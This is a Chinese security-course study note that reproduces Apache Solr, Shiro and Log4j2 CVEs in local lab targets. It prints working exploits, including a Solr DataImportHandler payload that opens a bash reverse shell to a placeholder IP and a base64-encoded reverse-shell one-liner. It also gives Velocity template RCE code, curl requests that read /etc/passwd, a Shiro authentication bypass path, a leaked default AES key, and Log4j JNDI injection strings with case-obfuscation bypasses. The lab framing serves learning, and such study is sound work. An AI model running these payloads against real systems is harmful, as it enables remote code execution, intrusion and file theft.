小迪安全v2023学习笔记(八十二讲)—— Java组件安全&Solr&Shiro&Log4j&CVE复现

发布于:2025-09-14 ⋅ 阅读:(25) ⋅ 点赞:(0)

前记

  • 今天是学习小迪安全的第八十二天,主要内容是Java的开发组件安全,包括Solr、Shiro以及Log4j2
  • 介绍了其近几年爆出的重大漏洞,以及工具利用,主要还是以工具使用为主

服务攻防——第八十二天

开发组件安全&Solr搜索&Shiro身份验证&Log4j日志记录&本地CVE环境复现

J2EE - Solr组件-本地demo&CVE

漏洞介绍
  • Solr组件是基于HTTP和Apache Lucene实现的全文搜索服务器
  • 黑盒特征
    1. 图标为红色花瓣(类似华为小菊花)
      在这里插入图片描述

    2. 端口为8983

  • fofa语法:
port="8983" && title=="Solr Admin"
  • CVE-2019-17558
    • 漏洞描述:Apache Solr 使用 Velocity 模板引擎来渲染响应内容。在其 5.0.0 至 8.3.1 版本中,默认未启用 params.resource.loader.enabled 参数,但通过 Solr 的 Config API,攻击者可以动态启用该参数,从而允许通过 URL 参数传入并执行任意 Velocity 模板代码。
    • 影响版本
      • Apache Solr 5.0.0 ~ 8.3.1(含)
    • 利用条件
      1. 攻击者可以访问 Solr 的 Config API(默认端口 8983)
      2. Solr 未启用身份认证(默认配置下通常无认证)
      3. 攻击者知道目标 Solr 中的 core 名称(如 demotest 等)。
      4. 目标 Solr 启用了 VelocityResponseWriter(默认启用)
  • CVE-2019-0193
    • 漏洞描述:Solr 的 DataImportHandler(DIH)模块 允许用户通过 dataConfig 参数传入自定义配置,而该配置中可以嵌入 JavaScript 脚本,且未做充分沙箱隔离,导致攻击者可在服务器端执行任意代码。
    • 影响版本
      • Apache Solr < 8.2.0
    • 利用条件:
      1. Apache SolrDataImportHandler启用了模块DataImportHandler(默认不会被启用,启用后可以进入管理页面打开datainport是有数据的)
      2. Solr Admin UI未开启鉴权认证。(默认情况无需任何认证,手动开启需要密码登录)
  • CVE-2021-27905
    • 漏洞描述ReplicationHandler(通常注册在 Solr 核心下的 “/replication” 处)有一个 “masterUrl”(也是 “leaderUrl” 别名)参数,用于在另一个 Solr 核心上指定另一个 ReplicationHandler,以将索引数据复制到本地核心中。
    • 影响版本
      • Apache Solr 7.0.0 ~ 7.7.3
      • Apache Solr 8.0.0 ~ 8.8.2
    • 利用条件
      1. 目标 Solr 未开启认证(默认安装即无认证)
      2. 知道任意一个 core 名(/solr/xxx/replication
      3. 能访问 ReplicationHandler 接口(默认 8983 端口)
    • 说明:这里并不是小迪说的全版本都可能存在漏洞,官方不予认定并拒绝修复的是另外一个 “enableRemoteStreaming + 无认证即可文件读取” 漏洞
  • CVE-2025-24814
    • 漏洞描述:Solr在独立或用户管理模式下,未启用认证和授权时,攻击者可以替换可信配置文件,通过solrconfig.xml中的<lib>指令引入未授权的JAR文件,导致远程代码执行
    • 影响版本
      • Apache Solr < 9.8.0
    • 利用条件
      1. Solr运行在独立或用户管理模式
      2. 未启用认证和授权
  • 其他更多漏洞详细见Solr官网:Solr™ 安全新闻 - Apache Solr
漏洞复现
  • 虽然小迪没有展示可以一把梭的工具,但是这个组件也是有这种工具的,下载地址:xiangmou123/SolrScan: solr综合利用工具
  • 因为这款工具是今年六月份出的,所以漏洞方面都还比较新,当然也可以自己添加新漏洞的exp进去
  • 使用的时候直接将源码下下来,或者下.exe文件,然后执行:
python run.py
CVE-2019-0193
  • 我们启动vulhub靶场,vulfocus是没有这个靶场的,打开网站:
    在这里插入图片描述

  • 首先确定是Solr,然后它的版本为8.1.1,黑盒中我们就直接工具扫了:
    在这里插入图片描述

  • 这里可能在扫描过程中会爆出一个错误:
    在这里插入图片描述

  • 意思是在cve_2019_0193.py的第124行,f-string语句中出现了反引号,我们打开这个文件,可以看到它的代码是这么写的:
    在这里插入图片描述

  • 我们就不用f-string语句,直接换成.format语句即可,这里就找ai改改就行了

  • 填入目标网址,这里不要带后面的路径,然后开始扫描,它就会得到一个扫描的结果:
    在这里插入图片描述

  • 可以看到目标网站存在这个CVE-2019-0193漏洞,双击进入利用页面,执行id命令:
    在这里插入图片描述

  • 提示执行成功,但是没有回显,而且这里提示请求超时,不知道为什么,可能是我的环境有问题,但是可以确定的是存在这个漏洞

  • 那我们就手动复现一下,它的原理是如果目标网站开启了DataImportHandler(DIH)模块,并且允许我们传入自定义配置信息,简单来说就是下面这个地方能打开:
    在这里插入图片描述

  • 那我们就可以尝试利用这个漏洞,直接将payload插入红色方框的地方:

<dataConfig>  
<dataSource type="URLDataSource"/>  
<script><![CDATA[  
          function poc(){ java.lang.Runtime.getRuntime().exec("这里填入想要执行的命令");  
}  
]]></script>  
<document>  
<entity name="stackoverflow"  
    url="https://stackoverflow.com/feeds/tag/solr"  
    processor="XPathEntityProcessor"  
    forEach="/feed"  
    transformer="script:poc" />  
</document>  
</dataConfig>
  • 这个看着很像XXE对不对,但它并不是XXE,要注意区分,然后我们在exec()这个位置写入我们想要执行的命令
  • 一般是先判断能否出网,即让他ping一下我们的dns地址,然后再尝试其他的命令;但是这里我们就直接尝试反弹Shell,将那个执行命令的地址改为:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSX0lQLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
  • 然后点击执行,但是这里没有执行成功,经过一步一步排查,原因出在<entity name=.../>这里,这个url网址是国外的网址,我的docker无法访问
  • 从docker日志可以看到:
docker logs <容器ID>

在这里插入图片描述

  • 于是我们就将payload的这个部分换成一个国内能够访问到的网址,或者本地起一个简单的服务器环境,我这里选择的是后者
  • 因为这个地方就是让它去访问一个xml文件,然后对每个feed标签执行一遍poc函数,所以我们是可以随便换的,稍微改动一下即可
  • 假设我们有这样一个xml文件:
<?xml version="1.0" encoding="UTF-8"?>
<documents>
  <document>
    <title>Solr RCE</title>
    <author>Tester</author>
  </document>
</documents>
  • 再将payload改为:
<dataConfig>  
<dataSource type="URLDataSource"/>  
<script><![CDATA[  
	function poc(){ 
		var cmd = [
		    "/bin/bash",
		    "-c",
		    "bash -c 'exec bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
		];
		java.lang.Runtime.getRuntime().exec(cmd);
	}  
]]></script>  
<document>  
	<entity name="payload"
	        url="http://10.136.0.69:8888/solr.xml"
	        processor="XPathEntityProcessor"
	        forEach="/documents/document"
	        transformer="script:poc">
	</entity>
</document>  
</dataConfig>
  • 然后点击执行,就可以看到反弹Shell成功:
    在这里插入图片描述
CVE-2019-17558
  • 还是一样启动vulhub靶机,打开网站:
    在这里插入图片描述

  • Solr版本为8.2.0,可能存在漏洞,我们直接工具梭哈:
    在这里插入图片描述

  • 可能存在CVE-2019-17558这个漏洞,于是双击尝试利用:
    在这里插入图片描述

  • 成功利用,我们也可以自己去手动复现一下,比如看看它的exp是怎么写的,核心的部分就是:

# 为core核心开启Velocity引擎模块
config_data = {  
    "update-queryresponsewriter": {  
        "startup": "lazy",  
        "name": "velocity",  
        "class": "solr.VelocityResponseWriter",  
        "template.base.dir": "",  
        "solr.resource.loader.enabled": "true",  
        "params.resource.loader.enabled": "true"  
    }  
}
resp = scanner.request(  
    "POST",   
	f"/solr/{core_name}/config",   
	json=config_data  
)

# 发送payload
command_escaped = command.replace("'", "\\'").replace('"', '\\"')  
exploit_payload = f"#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('{command_escaped}')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"  
encoded_payload = urllib.parse.quote(exploit_payload)  
  
# 发送利用请求  
logger.info(f"向核心 {core_name} 发送命令执行payload")  
resp = scanner.request(  
    "GET",   
f"/solr/{core_name}/select?q=1&&wt=velocity&v.template=custom&v.template.custom={encoded_payload}"  
)
  • 首先开启目标网站的Velocity引擎,然后向该引擎发送构造的payload,这个payload核心就是利用反射去得到Runtime类,执行它的exec函数,最后输出结果
  • 所以我们可以自己去抓包然后请求,这里就不演示了
CVE-2021-27905
  • 启动vulfocus靶机,打开网站:
    在这里插入图片描述

  • 这里我们先要创建一个Core核心,直接创建它会提示无法创建:
    在这里插入图片描述

  • 原因是因为/var/solr/data/new_core文件夹下没有solrconfig.xml文件

  • 进入我们的虚拟机,然后运行如下命令进入docker容器:

docker exec -it <容器ID> /bin/bash
  • 然后再运行如下命令将/solr-8.2.0/server/solr/configsets/_default/conf文件夹下的内容复制到 new_core下:
cp -r /opt/solr-8.2.0/server/solr/configsets/_default/conf /var/solr/data/new_core
  • 再次点击Add Core即可创建成功:
    在这里插入图片描述

  • 然后我们直接先工具扫一波:
    在这里插入图片描述

  • 很可惜这里并没有识别出CVE-2021-27905这个漏洞,不过我们可以从它的执行日志中看到是可能存在该漏洞的:
    在这里插入图片描述

  • 这里就手动复现一下看看吧,首先通过访问http://目标IP:8983/solr/admin/cores?indexInfo=false&wt=json获取数据库名:
    在这里插入图片描述

  • 这里是new_core,然后执行如下命令访问触发:

curl -i -s -k -X POST \
  -H 'Content-Type: application/json' \
  --data-binary '{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' \
  'http://{目标IP}:14419/solr/{核心名}/config'

在这里插入图片描述

  • 最后再执行如下命令进行文件读取:
curl -i -s -k \
  'http://{目标IP}:8983/solr/{核心名}/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

在这里插入图片描述

  • 可以看到成功读取到了/etc/passwd文件,说明该漏洞确实存在,接下来我们也可以进一步尝试SSRF利用
  • 我看了一下,工具扫不出来的原因是因为这个地方写错了:
# 构造测试URL,尝试访问内部文件
test_url = f"/solr/{core_name}/replication?command=fetchindex&masterUrl=file:///etc/passwd&wt=json"
  • 它使用command=fetchindex是没办法读取文件的,将其改为:
# 构造测试URL,尝试访问内部文件  
test_url = f"/solr/{core_name}/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd&wt=json"
  • 还有下面那个exploit_url也要改掉,最后在JSON提取部分添加:
# 真正的文件文本在这里  
if "streams" in data and len(data["streams"]) > 0:  
    content = data["streams"][0].get("stream", "")  
    if content:  
        return True, content
  • 此时就能够成功扫描到漏洞并利用成功了:
    在这里插入图片描述
    在这里插入图片描述

J2EE - Shiro组件-本地demo&CVE

漏洞介绍
  • Java安全框架,能够用于身份验证、授权、加密和会话管理,可以通过这篇文章快速了解一下:Shiro安全框架【快速入门】就这一篇! - 知乎
  • CVE-2016-4437Shiro-550):
    • 漏洞描述:Shiro ≤1.2.4 默认把“记住我”信息先 Java 序列化、再用硬编码 AES 密钥加密后放进 Cookie。攻击者只要拿到同一密钥,就可把恶意序列化数据塞进 rememberMe,服务器解密后触发反序列化,进而 RCE。
    • 影响版本
      • Apache Shiro ≤ 1.2.4
      • 1.2.4 若手动配置仍复用网上泄露密钥同样中招

    • 利用条件
      1. 登录页开启 rememberMe
      2. 服务端存在 CommonsBeanutils、CommonsCollections3/4、C3P0、Groovy 等任一 gadget
      3. 使用默认或已泄露的 AES 密钥(Base64 如 kPH+bIxk5D2deZiIxcaaaA== 等 30+ 公开 key)
    • 说明:目前这个漏洞在实战中基本不会碰到,如果碰到了,可能是蜜罐
  • CVE-2019-12422Shiro-721
    • 漏洞描述:Shiro 1.2.5-1.4.1 仍使用 AES-128-CBC 加密 rememberMe Cookie。CBC 模式对填充错误会返回不同响应,攻击者只需拥有一个合法用户登录后的 Cookie,即可通过 Padding Oracle Attack 逐字节猜解密文,随后把任意序列化数据重新加密成“合法” Cookie,再次发送即可触发服务端反序列化,最终造成远程代码执行。
    • 影响版本
      • Apache Shiro 1.2.5 ~ 1.4.1
    • 利用条件
      1. 开启 rememberMe 功能(响应头能看到 Set-Cookie: rememberMe=deleteMe)
      2. 服务端使用 AES-CBC 模式(Shiro 默认即 CBC)
      3. 攻击者能先注册/拿到任意一个合法账号,登录后取得 rememberMe Cookie
      4. 目标类路径存在可被反序列化的 Gadget(CommonsBeanutils、CommonsCollections3/4、C3P0、Groovy 等均可)
      5. 网络层允许短时间内发送大量请求(Padding Oracle 需要平均 8×n 次请求猜一个字节,整条 Cookie 通常 10-30 k 请求)
  • CVE-2020-11989
    • 漏洞描述:Shiro 1.5.3 及以前版本在 getPathWithinApplication() 方法里会对 URI 做两次 URL 解码,而 Spring Boot 的 getRequestURI() 只保留容器已做的一次解码,于是可能造成登录验证绕过。
    • 影响版本
      • Apache Shiro ≤ 1.5.2
    • 利用条件
      1. 使用 Spring Boot / Spring MVC 且由 Shiro 做鉴权
      2. 配置文件中存在单 * 的 Ant 风格拦截规则(如 /admin/* → authc
      3. 控制器用 @PathVariable String xxx 接收路径参数(只有 String 类型才会触发二次解码差异)
      4. 应用未部署在根目录时更易触发(ContextPath 会放大两次解码的差异)
  • CVE-2020-1957
    • 漏洞描述:Shiro <1.5.2 与 Spring Boot 共用同一路径时,两者对分号截断/标准化顺序不同:Shiro 先截取分号后段再鉴权,Spring 则先 normalize 再路由,于是攻击者用 /xxx/..;/admin/index 可绕过 /admin/* 过滤器
    • 影响版本
      • Apache Shiro <1.5.2
    • 利用条件
      1. 配置中使用 Ant 风格 /admin/* 做拦截
      2. 后台接口实际由 Spring MVC 分发
      3. 应用可部署在根路径,也接受包含分号的 URL(Tomcat 默认放行)
  • CVE-2022-32532
    • 漏洞描述:只有在使用 RegExPatternMatcher 并写了含 . 的正则(如 /permit/.*)时生效;. 默认不匹配换行符,因此在路径里插入 %0a\n)或 %0d\r)即可让正则匹配失败,从而绕过认证。
    • 影响版本
      • Apache Shiro < 1.9.1
    • 利用条件
      1. 配置中显式改用 RegExPatternMatcher(默认是 AntPathMatcher,不受影响)
      2. 正则里出现 . 且未开启 Pattern.DOTALL
      3. 攻击者可直接访问受 RegEx 保护的路径
    • 说明:需要依赖代码具体写法,无法自动化,风险较低
  • 其他更多漏洞详细见:https://avd.aliyun.com/search?q=Shiro
漏洞复现
  • 我们依然是有直接利用的工具,在狐狸工具箱内的Pyke-Shiro以及Shiro反序列化漏洞综合利用工具
CVE-2016-4437
  • 这个和Shiro-721现在基本也没啥研究的必要了,因为实战中基本是碰不到了,就算碰到了直接工具一把梭就出来了

  • 启动vulfocus靶机,打开网站,有个登录点,尝试登录然后看看数据包:
    在这里插入图片描述

  • 可以看到这里Set-Cookie处有rememberMe=deleteMe,很明显就是Shiro组件,于是我们直接上工具:
    在这里插入图片描述
    在这里插入图片描述

  • 利用成功

CVE-2020-11989
  • 对于这个漏洞我们使用小迪搭的本地dome来演示,虽然vulfocus上面有靶场,但是感觉环境有问题,我没搞出来

  • 这里先将Shiro的版本改到漏洞版本,然后mvn cleaninstall,打开网站,访问http://localhost:9090/admin/1页面,他会跳转到/login页面
    在这里插入图片描述

  • 我们可以尝试访问/admin/%20,它就直接绕过了登录认证,来到了后台页面:
    在这里插入图片描述

J2EE - Log4j组件-本地demo&CVE

漏洞介绍
  • Apache的一个开源项目,是一个基于Java的日志记录框架
  • 黑盒特征:盲打 会问蓝队攻击特征(${jndi:rmi:///osutj8})
  • CVE-2021-44228
    • 漏洞描述:Log4j2 ≤2.14.1 在打印日志时对 ${jndi:ldap://...} 等 Lookup 表达式进行递归解析,攻击者只需把恶意字符串写入任何可被记录的位置(HTTP 头、参数、Cookie、X-Forwarded-For、User-Agent 等),即可触发 JNDI 远程查询并下载执行任意 Java 代码。
    • 影响版本
      • Apache Log4j2 2.0-beta9 ~ 2.14.1
      • SpringBoot ≤2.3.x 默认自带版本
    • 利用条件
      1. 应用使用 log4j-core(log4j-api 本身无害)
      2. 日志配置未关闭 Lookup 功能(默认开启)
      3. 攻击者可控制至少一条日志内容
      4. 目标可出网(或能访问内网 LDAP/RMI/DNS 服务)
  • CVE-2021-45046
    • 漏洞描述:2.15.0 对 44228 的“快速修”只堵住 ${jndi: 前缀,却仍可借助 ${jndi:${lower:l}${upper:d}${lower:a}${upper:p}://...} 等嵌套/大小写变换绕过,继续触发 RCE 或 DoS
    • 影响版本
      • Apache Log4j2 2.15.0(仅限该版本)
    • 利用条件:与CVE-2021-44228相同
  • CVE-2023-26464
    • 漏洞描述:Log4j 2.0–2.20.0 的 JDBCAppender 在写日志时若使用 PatternLayout 且包含 %m%msg 等转换符,会把原始消息直接拼接进 SQL 语句;攻击者只要把 ${jndi:...} 或恶意 SQL 片段写进日志,即可触发JNDI注入或者RCE。
    • 影响版本
      • Apache Log4j2 2.0 ~ 2.20.0(仅当使用 JDBCAppender + PatternLayout 且 SQL 语句拼接用户消息时)
    • 利用条件:
      1. 使用 JDBCAppender 记录应用日志
      2. 配置里写死 INSERT INTO logs VALUES('%m') 之类拼接
      3. 攻击者可控制一条日志内容
      4. 数据库驱动支持多语句(如 MySQL allowMultiQueries=true 或 H2)
  • 其他更多的漏洞详见:https://avd.aliyun.com/search?q=Log4j
漏洞复现
  • 狐狸工具箱中同样有直接利用的工具——Java框架漏洞探测工具,但感觉不是很好用
CVE-2021-44228
  • 启动我们的vulfocus靶场,打开网站:
    在这里插入图片描述

  • 点击这五个问号,跳转到一个网址http://192.168.0.143:37370/hello?payload=111,因为log4j黑盒测试基本是没有特征的,所以只能盲打

  • 于是这个参数点就是我们测试的一个点,尝试JNDI注入,先用工具生成一个地址:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "" -A 192.168.0.129

在这里插入图片描述

  • 然后一个个尝试,这里我们尝试的时候需要URL编码一下,然后插进去,它是有请求的,但是也不知道为什么,反正就是反弹不了

扩展知识

为什么存在漏洞但是利用不成功?
  • 有的网站可能使用了存在漏洞的组件,但是它的语法本身没有用到涉及漏洞的部分,此时也不能成功利用
  • 比如Log4j,如果我传入的日志变量部分是规定好的,或者使用的是logger.info()函数,都是利用不了的
  • 所以不仅要看它有没有过时组件也要看它是否存在不规范的语法或者配置
有Key无链如何利用
  • 我们在Shiro框架利用工具中可以看到有这个东西:
    在这里插入图片描述

  • 这里回显方式就是有没有回显利用,如果没有回显就判断出不出网,出网就反弹Shell,不出网就写入文件

  • 然后这里的利用链就是我们执行命令的链,如果它使用的组件当中也同时存在这些,我们就可以通过它去构造利用链执行命令

  • 如果都没有,就形成了有Key无链的情况,这时我们可以尝试用Java自带的链或者一些不常规的链子

  • 当然具体的利用方法小迪说后面会讲到


网站公告

今日签到

点亮在社区的每一天
去签到